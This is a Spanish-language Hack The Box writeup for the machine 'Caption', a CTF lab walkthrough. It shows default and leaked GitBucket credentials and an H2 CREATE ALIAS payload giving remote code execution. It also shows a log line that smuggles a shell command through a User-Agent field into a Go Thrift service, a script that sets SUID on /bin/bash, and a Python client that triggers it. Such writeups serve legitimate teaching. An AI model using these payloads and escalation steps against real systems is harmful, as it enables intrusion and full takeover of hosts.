Hack The Box: Caption Writeup | Hard

Table of Contents

Hack The Box: Caption Writeup

Welcome to my detailed writeup of the hard difficulty machine “Caption” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.

TCP Enumeration

1$ rustscan -a 10.129.230.251 --ulimit 5000 -g
210.129.230.251 -> [22,80,8080]
 1$ nmap -p22,80,8080 -sCV 10.129.230.251 -oN allPorts                                                                                                                                                                                                                                                                 
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-15 18:45 CEST                                                                                                                                                                                                                                                          
 3Stats: 0:00:12 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan                                                                                                                                                                                                                                                  
 4Service scan Timing: About 33.33% done; ETC: 18:46 (0:00:12 remaining)                                                                                                                                                                                                                                                       
 5Nmap scan report for 10.129.230.251                                                                                                                                                                                                                                                                                          
 6Host is up (0.23s latency).                                                                                                                                                                                                                                                                                                  
 7                                                                                                                                                                                                                                                                                                                             
 8PORT     STATE SERVICE    VERSION                                                                                                                                                                                                                                                                                            
 922/tcp   open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)                                                                                                                                                                                                                                      
10| ssh-hostkey:                                                                                                                                                                                                                                                                                                               
11|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)                                                                                                                                                                                                                                                              
12|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)                                                                                                                                                                                                                                                            
1380/tcp   open  http                                                                                                                                                                                                                                                                                                          
14| fingerprint-strings:                                                                                                                                                                                                                                                                                                       
15|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, RTSPRequest, X11Probe:                                                                                                                                                                                                                                        
16|     HTTP/1.1 400 Bad request                                                                                                                                                                                                                                                                                               
17|     Content-length: 90                                                                                                                                                                                                                                                                                                     
18|     Cache-Control: no-cache                                                                                                                                                                                                                                                                                                
19|     Connection: close                                                                                                                                                                                                                                                                                                      
20|     Content-Type: text/html                                                                                                                                                                                                                                                                                                
21|     <html><body><h1>400 Bad request</h1>                                                                                                                                                                                                                                                                                   
22|     Your browser sent an invalid request.                                                                                                                                                                                                                                                                                  
23|     </body></html>                                                                                                                                                                                                                                                                                                         
24|   FourOhFourRequest, GetRequest, HTTPOptions:                                                                                                                                                                                                                                                                              
25|     HTTP/1.1 301 Moved Permanently                                                                                                                                                                                                                                                                                         
26|     content-length: 0                                                                                                                                                                                                                                                                                                      
27|     location: http://caption.htb                                                                                                                                                                                                                                                                                           
28|_    connection: close                                                                                                                                                                                                                                                                                                      
29|_http-title: Did not follow redirect to http://caption.htb                                                                                                                                                                                                                                                                  
308080/tcp open  http-proxy                                                                                                                                                                                                                                                                                                    
31|_http-title: GitBucket                                                                                                                                                                                                                                                                                                      
32| fingerprint-strings:  
33.......

UDP Enumeration

 1$ sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 10.129.230.251 -oN allPorts.UDP
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-15 18:47 CEST
 3Nmap scan report for 10.129.230.251
 4Host is up (0.036s latency).
 5Not shown: 1494 open|filtered udp ports (no-response)
 6PORT      STATE  SERVICE
 7120/udp   closed cfdptkt
 81049/udp  closed td-postman
 926219/udp closed unknown
1031625/udp closed unknown
1141702/udp closed unknown
1261319/udp closed unknown
13
14Nmap done: 1 IP address (1 host up) scanned in 0.83 seconds

Del escaneo inicial detectamos dos cosas interesantes, un dominio caption.htb que vamos a añadir al /etc/hosts y una instancia de GitBucket en el puerto 8080.

HTTP Enumeration

whatweb nos reporta que nos enfrentamos contra un Flask probablemente y una cabecera un poco extraña, x-varnish

1$ whatweb http://caption.htb
2http://caption.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/3.0.1 Python/3.10.12], IP[10.129.230.251], PasswordField[password], Python[3.10.12], Script, Title[Caption Portal Login], UncommonHeaders[x-varnish], Varnish, Via-Proxy[1.1 varnish (Varnish/6.6)], Werkzeug[3.0.1], X-UA-Compatible[IE=edge]

Vemos un panel de inicio de sesión. Write-up Image

Como es una instancia de Flask, es común encontrarse en algunas un endpoint /console con una consola que normalmente está protegida con un PIN, pero no es el caso. Write-up Image

Con feroxbuster al fuzzear encontramos algunas rutas interesantes.

1$ feroxbuster -u http://caption.htb -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -d 1 -t 100
2403      GET        4l        8w       94c http://caption.htb/download
3200      GET      208l      330w     4412c http://caption.htb/
4302      GET        5l       22w      189c http://caption.htb/home => http://caption.htb/
5403      GET        4l        8w       94c http://caption.htb/Download
6302      GET        5l       22w      189c http://caption.htb/logout => http://caption.htb/
7302      GET        5l       22w      189c http://caption.htb/firewalls => http://caption.htb/
8403      GET        4l        8w       94c http://caption.htb/logs

Write-up Image

Por ahora no puedo hacer nada, así que vamos a enumerar el GitBucket.

GitBucket Enumeration

No vemos ningún repositorio público. Write-up Image

Buscando las credenciales por defecto son root:root Write-up Image

Y podemos iniciar sesión. Write-up Image

Enumerating GitBucket Projects

El proyecto de Caption-Portal se refiere al sitio web que hemos visto antes. Podemos ver que varnish se encuentra en el puerto 8000 interno. Write-up Image

También vemos que existe otro servicio interno en el puerto 6081. Write-up Image

Revisando los commits nos encontramos unas credenciales. margo:vFr&cS2#0! Write-up Image

Con ellas podemos iniciar sesión pero el sitio se ve muy estático y no encuentro nada relevante. Write-up Image

El token JWT es muy minimalista y no contiene ni información sobre los roles. Write-up Image

También vemos otro proyecto llamado Logservice hecho en Go. Write-up Image

Rápidamente vemos que está aplicando una expresión regular sobre un capo User-Agent y que este programa está en escucha en el puerto 9090 interno de la máquina. Por ahora no podemos hacer nada. Write-up Image

Abusing H2 -> RCE -> Foothold

Viendo la configuración de la instancia de GitBucket podemos ver que la base de datos que se utiliza por detrás es H2, y vemos una ruta. /home/margo/.gitbucket Write-up Image

Y vemos esta opción que parece interesante. Database viewer Write-up Image

Buscando un poco me encontré este post en HackTricks que nos muestra como podemos conseguir RCE a través de una instancia de una base de datos H2.

Nos vamos a descargar este archivo.

1$ wget https://gist.githubusercontent.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed/raw/152ffcd996497e01cfee1ceb7237375f1a1e72f2/h2-exploit.py

Analizando el exploit vemos que utiliza este payload.

CREATE ALIAS EXECVE AS $$ String execve(String cmd) throws java.io.IOException { 
    java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); 
    return s.hasNext() ? s.next() : "";  }$$;

Nos lo vamos a copiar y lo ejecutamos en el dbviewer

Vemos que todo ha salido bien. Write-up Image

Ahora si intentamos usar el exploit que hemos utilizado vemos que conseguimos RCE. Write-up Image

Pero por alguna razón no puedo mandarme la reverse shell. Write-up Image

Vemos que el usuario margo tiene una clave privada. Write-up Image

Utilizando esta clave privada no podemos iniciar sesión por SSH.

1$ ssh -i /home/pointedsec/.ssh/id_rsa margo@caption.htb
2margo@caption.htb's password: 

Vamos a añadir mi clave pública al authorized_keys de margo para intentar iniciar sesión de esta manera.

Nos copiamos mi clave pública como authorized_keys

1$ cp /home/pointedsec/.ssh/id_rsa.pub authorized_keys

La servimos por el puerto 8081.

1$ python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...

Ahora la descargamos en la máquina víctima. Write-up Image

Vemos que me llega una solicitud.

1$ python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
310.129.230.251 - - [15/Sep/2024 19:29:55] "GET /authorized_keys HTTP/1.1" 200 -

Podemos comprobar que todo ha salido bien. Write-up Image

Y ya simplemente podemos iniciar sesión por SSH.

 1$ ssh margo@caption.htb
 2Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-119-generic x86_64)
 3
 4 * Documentation:  https://help.ubuntu.com
 5 * Management:     https://landscape.canonical.com
 6 * Support:        https://ubuntu.com/pro
 7
 8 System information as of Sun Sep 15 05:32:29 PM UTC 2024
 9
10  System load:  0.08              Processes:             234
11  Usage of /:   69.2% of 8.76GB   Users logged in:       0
12  Memory usage: 29%               IPv4 address for eth0: 10.129.230.251
13  Swap usage:   0%
14
15
16Expanded Security Maintenance for Applications is not enabled.
17
180 updates can be applied immediately.
19
203 additional security updates can be applied with ESM Apps.
21Learn more about enabling ESM Apps service at https://ubuntu.com/esm
22
23Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
24
25
26Last login: Sun Sep 15 17:30:42 2024 from 10.10.14.104
27margo@caption:~$ id
28uid=1000(margo) gid=1000(margo) groups=1000(margo)

Podemos leer la flag de usuario.

1margo@caption:~$ cat user.txt 
2bd2fa255c446bc...

Privilege Escalation

Encontramos otro usuario llamado ruth en el sistema.

1margo@caption:~$ cat /etc/passwd | grep bash
2root:x:0:0:root:/root:/bin/bash
3margo:x:1000:1000:,,,:/home/margo:/bin/bash
4ruth:x:1001:1001:,,,:/home/ruth:/bin/bash

Enumerando puertos internos nos encontramos varios interesantes, algunos los habíamos visto antes.

 1margo@caption:~$ netstat -tulnp
 2(Not all processes could be identified, non-owned process info
 3 will not be shown, you would have to be root to see it all.)
 4Active Internet connections (only servers)
 5Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
 6tcp        0      0 127.0.0.1:6082          0.0.0.0:*               LISTEN      -                   
 7tcp        0      0 127.0.0.1:6081          0.0.0.0:*               LISTEN      -                   
 8tcp        0      0 0.0.0.0:8080            0.0.0.0:*               LISTEN      1033/java           
 9tcp        0      0 127.0.0.1:3923          0.0.0.0:*               LISTEN      1043/python3        
10tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      1034/python3        
11tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
12tcp        0      0 127.0.0.1:9090          0.0.0.0:*               LISTEN      -                   
13tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
14tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
15tcp6       0      0 :::22                   :::*                    LISTEN      -                   
16udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   
17udp        0      0 0.0.0.0:68              0.0.0.0:*                           -                   

El que mas me llama la atención es el puerto 9090 ya que corresponde al programa escrito en Go que hemos visto antes.

Port Forwarding

Me voy a compartir este puerto a mi máquina para jugar con la aplicación.

1$ ssh margo@caption.htb -L 9090:127.0.0.1:9090

Go Code Analysis

Vemos que se utiliza una dependencia llamada thrift.

Apache Thrift es un protocolo implementado en los procesos de la gestión de los macrodatos. De manera que este, prácticamente, es un protocolo que permite pasar objetos en binario a partir de un código generado.

Y vemos un archivo log_service.thrift por lo cual quiero pensar que a través del protocolo se está pasando este objeto que lo que hace es leer un archivo. Write-up Image

Esto significa que nos podemos comunicar con el servidor a través de un cliente siempre que tengamos este objeto para poder emitir a través del protocolo Thrift. Es decir, la petición que le vamos a hacer al servidor tiene que ser utilizando este objeto que sirve para leer un log.

ReadLogFile(ctx context.Context, filePath string)

 1func (l *LogServiceHandler) ReadLogFile(ctx context.Context, filePath string) (r string, err error) {
 2    file, err := os.Open(filePath)
 3    if err != nil {
 4        return "", fmt.Errorf("error opening log file: %v", err)
 5    }
 6    defer file.Close()
 7    ipRegex := regexp.MustCompile(`\b(?:\d{1,3}\.){3}\d{1,3}\b`)
 8    userAgentRegex := regexp.MustCompile(`"user-agent":"([^"]+)"`)
 9    outputFile, err := os.Create("output.log")
10    if err != nil {
11        fmt.Println("Error creating output file:", err)
12        return
13    }
14    defer outputFile.Close()
15    scanner := bufio.NewScanner(file)
16    for scanner.Scan() {
17        line := scanner.Text()
18        ip := ipRegex.FindString(line)
19        userAgentMatch := userAgentRegex.FindStringSubmatch(line)
20        var userAgent string
21        if len(userAgentMatch) > 1 {
22            userAgent = userAgentMatch[1]
23        }
24        timestamp := time.Now().Format(time.RFC3339)
25        logs := fmt.Sprintf("echo 'IP Address: %s, User-Agent: %s, Timestamp: %s' >> output.log", ip, userAgent, timestamp)
26        exec.Command{"/bin/sh", "-c", logs}
27    }
28    return "Log file processed",nil
29}

Este método toma como parámetro una ruta de archivo (filePath), lee su contenido línea por línea, y extrae dos tipos de información usando expresiones regulares:

  1. Direcciones IP (patrón: \b(?:\d{1,3}\.){3}\d{1,3}\b).

  2. User-Agent (patrón: "user-agent":"([^"]+)"), para extraer la cadena de User-Agent del log.

El error en este código es que por cada Log se ejecuta por alguna razón un /bin/sh para guardar a un archivo en vez de utilizar la forma nativa en Go para hacer esto. Esto significa que si conseguimos insertar un log malicioso podríamos ejecutar un comando en la máquina víctima.

Todavía no se si este proceso lo está ejecutando root ya que aún no he enumerado a fondo la máquina víctima, pero ya estoy hecho a los CTF’s y viendo que esta máquina la resolvieron en 10 minutos la parte de la escalada de privilegios…

Entonces, si tenemos un log que por ejemplo

1127.0.0.1 - - [12/Sep/2024:15:03:21 +0000] "GET / HTTP/1.1" 200 2326 "-" "user-agent\":\"Mozilla/5.0\"; /bin/bash -c 'bash /tmp/pwn.sh' #"

Esto significa que por línea de comandos se ejecutará lo siguiente:

1echo 'IP Address: 127.0.0.1, User-Agent: Mozilla/5.0"; /bin/bash -c 'bash /tmp/pwn.sh' #, Timestamp: 2024-09-12T15:03:21Z' >> output.log

Command Injection

Por lo cual se ejecutaría un script en /tmp/pwn.sh Entonces en la máquina víctima nos vamos a crear el script malicioso.

1margo@caption:/tmp$ cat pwn.sh 
2#!/bin/bash
3
4chmod u+s /bin/bash

También vamos a crear el log malicioso en /tmp/evil.log

1margo@caption:/tmp$ cat evil.log 
2127.0.0.1 - - [12/Sep/2024:15:03:21 +0000] "GET / HTTP/1.1" 200 2326 "-" "user-agent\":\"Mozilla/5.0\"; /bin/bash -c 'bash /tmp/pwn.sh' #"

Ahora como he dicho antes, necesitamos el archivo log_service.thrift para poder mandar una petición al servidor, así que en nuestra máquina de atacante nos lo creamos.

1$ cat log_service.thrift 
2namespace go log_service
3     
4service LogService {
5        string ReadLogFile(1: string filePath)
6}

Y vamos a hacer un simple script en Python que interactúe con este protocolo y lea el archivo log malicioso que hemos creado para que se acontezca la inyección de comandos.

Primero instalamos thrift para python.

1$ pip install thrift

Ahora instalamos thrift-compiler para convertir el archivo log_service.thrift en un formato para python.

1$ sudo apt update
2$ sudo apt install thrift-compiler

Ahora generamos los archivos necesarios para python para usar el objeto de Thrift.

1$ thrift --gen py log_service.thrift

Vemos que me ha creado un directorio gen-py

1$ ls
2gen-py  log_service.thrift

Este es el script que he creado, simplemente hace uso de Thrift y del objeto para comunicarse con el servicio que está en el puerto 9090 “port-forwadeado” y enviar que quiero procesar el log en /tmp/evil.log.

 1import sys
 2from thrift import Thrift
 3from thrift.transport import TSocket
 4from thrift.transport import TTransport
 5from thrift.protocol import TBinaryProtocol
 6from log_service import LogService  # El archivo generado a partir del .thrift
 7
 8def main():
 9    try:
10        # Crear transporte
11        transport = TSocket.TSocket('127.0.0.1', 9090)
12        
13        # Buffer del transporte
14        transport = TTransport.TBufferedTransport(transport)
15        
16        # Protocolo binario
17        protocol = TBinaryProtocol.TBinaryProtocol(transport)
18        
19        # Crear cliente
20        client = LogService.Client(protocol)
21        
22        # Abrir el transporte
23        transport.open()
24
25        # Hacer la solicitud para leer el log
26        result = client.ReadLogFile('/tmp/evil.log')
27        print(f"Resultado de la lectura del log: {result}")
28
29        # Cerrar el transporte
30        transport.close()
31
32    except Thrift.TException as tx:
33        print(f"Error: {tx.message}")
34
35if __name__ == "__main__":
36    main()

Si lo ejecutamos.

1$ python3 pwn.py 
2Resultado de la lectura del log: Log file processed

Pero no hemos conseguido el SUID en la bash

1margo@caption:/tmp$ ls -la /bin/bash
2-rwxr-xr-x 1 root root 1396520 Mar 14  2024 /bin/bash

Vamos a hacer una prueba.

Voy a modificar el script a ejecutar para mandarme un ping.

1margo@caption:/tmp$ cat /tmp/pwn.sh 
2#!/bin/bash
3
4ping -c 1 10.10.14.104

Y llegué a la conclusión que lo que estaba mal era el log malicioso.

Entonces.

La expresión regular para userAgentRegex es:

"user-agent":"([^"]+)"

Esto significa que está buscando una cadena que coincida con el formato:

Y en el log que tengo ahora creado, estamos escapando las comillas y en general está mas formulado.

Por lo cual podemos crear un archivo que si cumpla con estos parámetros.

1margo@caption:/tmp$ cat evil.log 
2192.168.1.1 - - [12/Sep/2024:15:03:21 +0000] "POST /login HTTP/1.1" 200 1456 "-" "user-agent":"'; /bin/bash /tmp/pwn.sh #"

Y al intentar procesar el log ahora.

1$ python3 pwn.py 
2Resultado de la lectura del log: Log file processed

Vemos que me llega el ping, por lo cual ahora si que estamos haciendo correctamente la inyección de comandos.

1$ sudo tcpdump -i tun0 icmp
2tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
3listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
420:15:07.462286 IP caption.htb > 10.10.14.104: ICMP echo request, id 4, seq 1, length 64
520:15:07.462559 IP 10.10.14.104 > caption.htb: ICMP echo reply, id 4, seq 1, length 64

Ahora modificamos el script malicioso para darle el bit de SUID a la bash para poder lanzarnos una consola privilegiada.

1margo@caption:/tmp$ cat /tmp/pwn.sh 
2#!/bin/bash
3
4chmod u+s /bin/bash

Y si lanzamos otra vez nuestro script y comprobamos la bash

1margo@caption:/tmp$ ls -la /bin/bash
2-rwsr-xr-x 1 root root 1396520 Mar 14  2024 /bin/bash

Por lo cual simplemente para escalar privilegios podemos lanzarnos una bash como el propietario con bash -p

1bash-5.1# id
2uid=1000(margo) gid=1000(margo) euid=0(root) groups=1000(margo)

Podemos leer la flag de root

1bash-5.1# cat /root/root.txt 
2993de3b56e4e458...

¡Y ya estaría!

Happy Hacking! 🚀

#HackTheBox   #Caption   #Writeup   #Cybersecurity   #Penetration Testing   #CTF   #Reverse Shell   #Privilege Escalation   #RCE   #Exploit   #Linux   #HTTP Enumeration   #Git Bucket Enumeration   #Abusing Default Credentials   #Information Disclosure   #Abusing H2 Database   #Port Forwarding   #Code Analysis   #Command Injection   #Abusing Thrift Protocol   #Python Scripting   #Scripting